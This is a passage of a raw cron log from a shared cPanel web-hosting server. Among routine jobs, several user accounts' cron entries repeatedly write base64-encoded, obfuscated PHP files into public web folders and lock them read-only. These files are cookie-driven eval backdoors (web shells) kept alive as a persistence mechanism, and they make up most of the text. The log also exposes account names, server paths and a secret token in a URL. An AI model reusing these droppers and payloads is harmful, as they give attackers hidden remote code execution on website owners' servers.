V0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:51:01 medusa CROND[28367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:51:01 medusa CROND[28368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:51:01 medusa CROND[28370]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:51:01 medusa CROND[28371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:51:01 medusa CROND[28373]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:51:01 medusa CROND[28374]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:51:01 medusa CROND[28377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:51:01 medusa CROND[28382]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:51:01 medusa CROND[28389]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:51:01 medusa CROND[28388]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:52:01 medusa CROND[29975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:52:01 medusa CROND[29980]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:52:01 medusa CROND[30027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:52:01 medusa CROND[30028]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:52:01 medusa CROND[30029]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:52:01 medusa CROND[30030]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:52:01 medusa CROND[30031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:52:01 medusa CROND[30032]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:52:01 medusa CROND[30035]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:52:01 medusa CROND[30033]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:52:01 medusa CROND[30040]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:52:01 medusa CROND[30041]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:52:01 medusa CROND[30042]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:53:01 medusa CROND[31418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:53:01 medusa CROND[31419]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:53:01 medusa CROND[31420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:53:01 medusa CROND[31421]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:53:01 medusa CROND[31422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:53:01 medusa CROND[31424]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:53:01 medusa CROND[31423]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:53:01 medusa CROND[31426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:53:01 medusa CROND[31428]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:53:01 medusa CROND[31431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:53:01 medusa CROND[31442]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:53:01 medusa CROND[31444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
